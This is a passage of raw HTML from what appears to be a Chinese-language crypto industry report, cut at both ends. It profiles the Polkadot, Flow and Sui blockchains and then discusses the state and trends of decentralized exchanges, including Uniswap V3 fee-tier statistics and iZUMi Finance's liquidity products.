16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Polkadot：Layer0 多链网络</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Polkadot 是一条异构的多链系统，旨在重塑区块链网络结构，实现不同区块链之间的通信。与以太坊不同，Polkadot 使用更高效的 NPoS（提名权益证明）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，其利用平行链和平行线程插入其主链中继链，平行链与中继链相连并受益于 Polkadot 的安全性、可伸缩性、互操作性和治理，从而促进各种功能的不同区块链并存共荣。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2021 年下半年，Polkadot（DOT）曾在 56 天内实现了惊人的 256% 增长率，市值一度超过以太坊。今年，波卡上线 XCM 与生态项目共同实现跨链互操愿景。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">W3F 资助计划累计签署近 500 个项目，资助类型几乎涵盖了波卡技术栈的每一层，众多开发者项目为波卡网络蓬勃发展持续贡献力量。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Flow：专注 NFT 应用生态</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Flow 是一个快速、去中心化的区块链平台，旨在推动应用程序的开发，尤其适合 NFT 生态发展。其多节点架构的设计使之可以实现强大的安全性和可组合性，有效支持应用程序的创建。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以更低的成本扩展数千倍的吞吐量，是一种比现存方案更具可扩展性、更分散和更安全的解决方案，且同时不会增加复杂的开发工作和对链下解决方案的依赖。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2020 年，Flow 公链正式上线，NBA Top Shot 成为了第一个应用，上线 6 个月就产生了超过 7 亿美元的交易额。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">今年冬奥会，Flow 区块链上的生态团队联合国际奥委会发布了官方授权 Play To Earn 链游《Olympic Games Jam:Beijing 2022》，上线冰墩墩吸引了一大批用户。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前，Flow 公链以优质的 NFT 项目持续吸引主流用户，也进一步探索更丰富的加密项目。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Sui：「Meta」系元宇宙玩家</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Sui 由 Mysten Labs 所开发的主打高性能 Layer1 公链。该项目采用 PoS 共识机制，主要为包括游戏、社交、商业在内的元宇宙应用。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Sui 使用了开发语言 Move，但对其进行了升级调整，使得该语言既能编写涉同质化加密资产的智能合约，也能编写涉非同质化 NFT 资产的智能合约。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">元宇宙相关应用将高度依赖于 Sui 所提供的高吞吐量和低延迟性能，以此提供最佳的用户体验。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而在 Sui 上构建的游戏和社交应用，则可以利用数据存储经济学将所有数据直接存储在链上。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前，Sui 的生态处于发展初期，除了钱包，目前在建设的还有浏览器、游戏以及社交元宇宙项目。</span></section><h1 style="margin: 24px 1em 16px;break-after: avoid;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br mpa-from-tpl="t"/></span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第三章    Defi</strong></span></p></h2></section></section><section style="line-height: 2em;"><section style="width: 100%;display: flex;flex-direction: column;padding: 0 15px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: space-between;" data-mid="" mpa-from-tpl="t"><section style="display: flex;padding-left: 9px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 20px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #292929;line-height: 28px;" data-mid=""><br/></p></section></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: rgb(0, 0, 0);font-size: 42px;" data-original-title="" title="">1</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">DEX</span></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;line-height: 1.75em;text-align: justify;"></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">一、从头部交易所的运营情况，观察 DEX 的现状</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">17-18 年最早期的 DEX 模仿传统订单薄模型，如 EtherDelta 和 DDEX，但由于链上交易成本问题，难以有良好的深度和交易体验。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">即使到目前高性能基础设施出现以后，基于订单薄模型的 DEX 整体体验还是难以和 CEX 竞争。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2018 年末 Uniswap 实现了自动做市商机制并发布了 Uniswap V1。自动做市商 AMM 机制更像是放在区块链上的自动售货机，被动的流动性提供策略适配了区块链的环境。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">AMM 机制结合流动性挖矿带来 2020 年夏季 DeFi Summer 的链上金融大爆发。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">根据 The Block 的数据，DEX 整体交易量一度占全网交易量的 25%，目前维持在 15% 左右的范围。 </span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6304728546409807" data-s="300,640" style="" data-type="png" data-w="1142" src="https://wechat2rss.xlab.app/img-proxy/?k=9800238d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0fwOibJPSHZ8CniaMnmlvN2icOuNtBG5YB3SkiaW2QxxajGW3FBufCSqVCA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>DEX交易量占比（数据来源<a href="https://www.theblock.co/data/decentralized-finance/dex-non-custodial）" target="_blank">https://www.theblock.co/data/decentralized-finance/dex-non-custodial）</a></em></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: center;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在 2021 年 3 月 Uniswap V3 推出集中流动性 AMM 机制以后（流动性提供者可以选择一个价格区间提供流动性，而不是默认部署全区间流动性），资本效率相比之前有了数十倍的提升。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">根据 Uniswap 五月份的研究报告，作为最大的 DEX，Uniswap 在主流币交易深度上面一度超过头部 CEX 如 Binance，在 2021.6 - 2022.3 这个时间范围内，Uniswap 上 ETH/USD 交易对 +/-2% 的深度达到 Binance 的 2 倍，具有良好的流动性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">过去七天 Uniswap V3 总交易量 41.4 亿美元，而前十五大池占 36.8 亿美元，高达 89%。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">手续费收入方面，过去七天总手续费收入为 428万美元，前十五大池占 301 万美元占比 70%，原因在于头部池子竞争交易量，部分流动性提供者选择在收取手续费比例更低的池子中提供流动性，如 WETH/USDC 大量流动性都在 0.05% 费率等级的池子中，本质上是「卷」到了费率竞争上。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而尾部的池子大部分采用 0.3% 手续费甚至 1% 的手续费，因此交易量小但是收入占比相比交易量占比更加大。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=53559a85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0rmVlON4H6kSkBRdm2Bq1ODQB2uYFlY3E9uQz37sHJ6ibyjKd413nh7w%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>Uniswap V3手续费占比情况（数据来源<a href="https://dune.com/gammastrategies/Uniswap-v3-Volume-and-Fees-Collected）" target="_blank">https://dune.com/gammastrategies/Uniswap-v3-Volume-and-Fees-Collected）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于 Uniswap 上交易通过路由会选取最低费率和最优执行价格，因此大部分交易集中在 0.05% 费率等级，该费率等级主流代币具有较好的流动性。其中大部分来源于 WETH/USDC 0.05% 交易池。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在可选的四个费率等级中，0.01% 费率等级相对特殊，是 Dai 官方的资金池，并且铺设到 Arrakis Finance 中提供流动性激励。其他三个费率等级的情况如下：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">0.05% 费率等级，基本由 WETH/USDC 占主导，交易量占比 77.1%。该费率等级主要有稳定币交易对、主流币（WBTC、WETH）和稳定币交易对，以及各类锚定 ETH/WBTC 的资产交易对，如 WETH/cbETH 交易对。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d84d7c5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK05QI0tjWCdsqia35Gfy0FanIgv0PlL42sAud6U6TxqLguf9qMJXsJAwA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">0.3% 费率池相对分布平均，主要由各类主流代币、以及 Matic、APE等头部山寨币交易对构成。 </span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=382d048b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK01iaUvJ3Vib6Qez6N6apMDxwtliadzusRicibpduqzALEanwoARf3hiaeEibWg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">1% 费率池则由更长尾的资产组成，交易量比较分散。 </span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b9c658cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0ic7VIn5myUA6Z9EYjibEibrTMzaj4dEOBicIwlsV9DbicAcQjcFeUVXPfZg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">整体来看，主流资产的 LP 在手续费方面竞争，内卷到 0.05% 费率等级的池子中争夺交易量，试图以量换「fee」。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">长尾资产由于波动率大、风险更高，相对 LP 的成本也在提升，因此更多选择 1% 费率的池子，而不会在更低费率等级上竞争。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">二、DEX发展趋势</span></strong></span></h3><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>多公链生态 CL-AMM DEX 的出现，以及由此而来的做市专业化</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">近期我们看到多家其他公链生态，在 Uniswap V3 之外出现了接近的产品，比如 iZUMi Finance 提供技术支持实现的 Near 生态的 Ref Finance V2 以及 Aurora 生态的 Arctic，借鉴 iZUMi DL-AMM 设计的 Traderjoe V2，Quickswap V3，Sui 生态的 MoveX，Cosmos 生态的 Duality 等，不论是旧 DEX 对原本流动性部署方式的技术升级，还是新 DEX，都采用了集中流动性模式，流动性提供者能够在自定义的价格区间内提供流动性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外还有 Algebra 为代表的技术提供商，帮助 DEX 实现升级（Quickswap V3 由 Algebra 提供底层技术实现）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">虽然 DEX 的开放性和无序许可性，让传统只有专业做市商才能参与的流动性提供业务能够让普通大众参与，实现「人人都是做市商」，流动性挖矿也是全新的权益分发方式。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Uniswap V2 的全区间流动性操作简单，也更容易叠加流动性挖矿等 DeFi 模块。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">但实际上，大部分流动性提供者整体是亏钱的。Uniswap V3 的集中流动性出现，让流动性提供这件事情变得更加复杂，也更加专业化。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在多个生态近期大量出现集中流动性设计的 DEX，考虑到链上特殊的环境（包括交易确认时延、MEV、手续费机制、滑点等等），以及 AMM 模式和传统 Order Book 完全不同的数学计算和特性，我们可以预期未来会有更多专注于在集中流动性 DEX 提供专业流动性服务的做市团队。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前来看，主要的专业做市集中在大类币种，长尾币种考虑到调整仓位的复杂性，以及难以实现对流动性提供者的激励，一般还是采用 V2 全区间流动性结合流动性挖矿的方式。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">未来考虑到集中流动性的高效率，结合链上原生交易的需求（如 GameFi 等，天然需要链上交易场景），围绕长尾币种的集中流动性服务方案会逐渐成熟。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">iZUMi Finance 从一开始就定位为流动性服务平台，推出针对集中流动性的激励工具 LiquidBox，多种策略结合不同的流动性区间铺设，让项目方做到更少的干预、更低的成本，来获得更好的链上流动性。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>2C 趋势明显，追逐流量，用户体验升级</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">头部 DEX 集中在流量端做提升，包括在移动端和网页端提升用户体验并实现流量曝光。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其中，Uniswap 在收购 NFT 赛道的 NFT 聚合市场 Genie 之后又集成 Sudoswap，实现 web 端 APP 升级。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DoDo 则在推大规模落地应用，同时在 Web3 和传统流量入口进行推广，实现 Gasless 交易以及限价单功能来捕获更多的用户。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，Sushiswap 实现 Gasless 的限价交易，Solana 生态的 DEX、Chainge 等多链钱包主推 Mobile 端。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在交易用户体验上，在专业度上向 CEX 靠近。Uniswap、Pancakeswap 等近期也推出了价格图表，从而让用户能够摆脱额外使用 K 线工具的困扰。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">iZUMi Finance 近期将推出 iZiSwap Pro，配合 DL-AMM 兼容 AMM 和限价订单的特性，实现前端接近 CEX，打造去中心化的 Binance。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Maker 端，大部分全区间流动性的 DEX 都提供了 Zap 功能，一键兑换流动性。此外，近期 Uniswap 在 SF 的 hackathon，iZUMi 团队指导下的参赛团队实现 Uniswap V3 的一键生成 LP 方案获得了第三名。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">iZiSwap 通过 V3 流动性激励工具 Liquid Box 和配套做市策略为项目方提供一站式流动性服务。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>混合 AMM + RFQ + LOB</strong></span></h4><section 